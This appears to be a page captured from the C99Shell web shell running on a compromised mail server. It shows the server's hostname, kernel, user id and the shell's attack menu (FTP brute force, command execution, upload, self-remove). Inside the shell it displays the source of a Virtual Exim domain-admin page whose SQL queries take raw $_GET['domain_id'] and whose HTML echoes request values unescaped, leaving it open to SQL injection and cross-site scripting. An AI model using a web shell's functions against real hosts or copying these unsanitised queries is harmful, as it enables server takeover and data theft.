!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.16 (Debian). PHP/5.3.3-7+squeeze19 

uname -a: Linux mail.tri-specialutilitydistrict.com 2.6.32-5-amd64 #1 SMP Tue May 13 16:34:35 UTC
2014 x86_64
 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/usr/share/vexim/   drwxr-xr-x
Free 130.06 GB of 142.11 GB (91.52%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     sitechange.php (5.62 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
  
include_once dirname(__FILE__) . "/config/variables.php";
  include_once 
dirname(__FILE__) . "/config/authsite.php";
  include_once 
dirname(__FILE__) . "/config/functions.php";
  include_once 
dirname(__FILE__) . "/config/httpheaders.php";
?>
<html>
  <head>
    <title><?php echo _("Virtual Exim") . ": " _("Manage Domains"); ?></title>
    <link rel="stylesheet" href="style.css" type="text/css">
  </head>
  <body onLoad="document.passwordchange.localpart.focus()">
    <?php include dirname(__FILE__) . "/config/header.php"?>
    <div id="menu">
      <a href="site.php"><?php echo _("Manage Domains"); ?></a><br>
      <a href="sitepassword.php"><?php echo _("Site Password"); ?></a><br>
      <br><a href="logout.php"><?php echo _("Logout"); ?></a><br>
    </div>
    <div id="Forms">
      <table align="center">
    <tr><td colspan="2"><h4><?php echo _("Modify Domain Admin"); ?>:</h4></td></tr>
    <form name="passwordchange" method="post" action="sitechangesubmit.php">
      <tr><td><?php echo _("Admin"); ?>:</td><td><select name="localpart" class="textfield">
        <?php
          $query 
"SELECT localpart,domain FROM users,domains
        WHERE domains.domain_id=" 
$_GET['domain_id'] . "
        AND admin=1 AND users.domain_id=domains.domain_id"
;
          
$result $db->query($query);
          if (
$result->numRows()) {
        while (
$row $result->fetchRow()) {
          print 
'<option value="' $row['localpart'] . '">' $row['localpart'] . '</option>' "\n\t";
        }
          }
        
?>
        </select>@<?php 
        $query 
"SELECT * FROM domains WHERE domain_id={$_GET['domain_id']}";
        
$result $db->query($query);
        if (
$result->numRows()) { $row $result->fetchRow(); }
        print 
$row['domain']; ?></td>
      <td><input name="domain_id" type="hidden" value="<?php print $_GET['domain_id']; ?>">
          <input name="domain" type="hidden" value="<?php print $_GET['domain']; ?>"></td></tr>
      <tr><td><?php echo _("Password"); ?>:</td><td><input name="clear" size="25" type="password" class="textfield"></td></tr>
      <tr><td><?php echo _("Verify Password"); ?>:</td><td><input name="vclear" size="25" type="password" class="textfield"></td></tr>
      <tr><td></td><td><input name="submit" size="25" type="submit" value="<?php echo _("Submit Password"); ?>"></td></tr>
    </form>
    <tr></tr><tr></tr>
    <tr><td colspan="2"><h4><?php echo _("Modify Domain Properties"); ?>:</h4></td></tr>
    <form name="domainchange" method="post" action="sitechangesubmit.php">
      <tr><td><?php echo _("System UID"); ?>:</td><td><input type="text" size="5" name="uid" value="<?php print $row['uid']; ?>" class="textfield"></td></tr>
      <tr><td><?php echo _("System GID"); ?>:</td><td><input type="text" size="5" name="gid" value="<?php print $row['gid']; ?>" class="textfield"></td></tr>
      <tr><td><?php echo _("Maximum accounts") . "<br />(" _("0 for unlimited") . ")"?>:</td><td><input type="text" size="5" name="max_accounts" value="<?php print $row['max_accounts']; ?>" class="textfield"></td></tr>
      <tr><td><?php echo _("Max mailbox quota in Mb") . "<br />(" _("0 for disabled") . ")"?>:</td>
          <td><input type="text" size="5" name="quotas" value="<?php print $row['quotas']; ?>" class="textfield"></td></tr>
      <tr><td><?php echo _("Maximum message size"); ?>:</td>
          <td><input name="maxmsgsize" size="5" type="text" class="textfield" value="<?php print $row['maxmsgsize']; ?>"> Kb</td></tr>
      <tr><td><?php echo _("Spamassassin tag score"); ?>:</td>
          <td><input type="text" size="5" name="sa_tag" value="<?php print $row['sa_tag']; ?>" class="textfield"></td></tr>
      <tr><td><?php echo _("Spamassassin refuse score"); ?>:</td>
          <td><input type="text" size="5" name="sa_refuse" value="<?php print $row['sa_refuse']; ?>" class="textfield"></td></tr>
      <tr><td><?php echo _("Spamassassin"); ?>:</td>
          <td><input type="checkbox" name="spamassassin" <?php if ($row['spamassassin'] == 1) {print "checked";} ?>></td></tr>
      <tr><td><?php echo _("Anti-virus"); ?>:</td><td><input type="checkbox" name="avscan" <?php if ($row['avscan'] == 1) {print "checked";} ?>></td></tr>
      <tr><td><?php echo _("Piping to command"); ?>:</td>
          <td><input type="checkbox" name="pipe" <?php if ($row['pipe'] == 1) {print "checked";} ?>></td></tr>
      <tr><td><?php echo _("Enabled"); ?>:</td><td><input type="checkbox" name="enabled" <?php if ($row['enabled'] == 1) {print "checked";} ?>></td>
      <td><input name="domain_id" type="hidden" value="<?php print $_GET['domain_id']; ?>">
          <input name="domain" type="hidden" value="<?php print $_GET['domain']; ?>"></td></tr>
      <tr><td></td><td><input name="submit" size="25" type="submit" value="<?php echo _("Submit Changes"); ?>"></td></tr>
    </form>
    <form name="sadisable" method="post" action="sitechangesubmit.php">
      <tr><td><?php echo _("Disable SpamAssassin for all domain users") . "<br><b>(" _("Warning: cannot be reversed!") . ")</b>:</td>\n"?>
          <td><input name="sadisable" type="hidden" value="sadisable">
          <input name="domain_id" type="hidden" value="<?php print $_GET['domain_id']; ?>">
          <input name="submit" type="submit" value="<?php echo _("Disable"); ?>"></td></tr>
    </form>
    <form name="avdisable" method="post" action="sitechangesubmit.php">
      <tr><td><?php echo _("Disable Anti-Virus for all domain users") . "<br><b>(" _("Warning: cannot be reversed!") . ")</b>:</td>\n"?>
          <td><input name="avdisable" type="hidden" value="avdisable">
          <input name="domain_id" type="hidden" value="<?php print $_GET['domain_id']; ?>">
          <input name="submit" type="submit" value="<?php echo _("Disable"); ?>"></td></tr>
    </form>
      </table>
    </div>
  </body>
</html>
<!-- Layout and CSS tricks obtained from http://www.bluerobot.com/web/layouts/ -->

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0086 ]--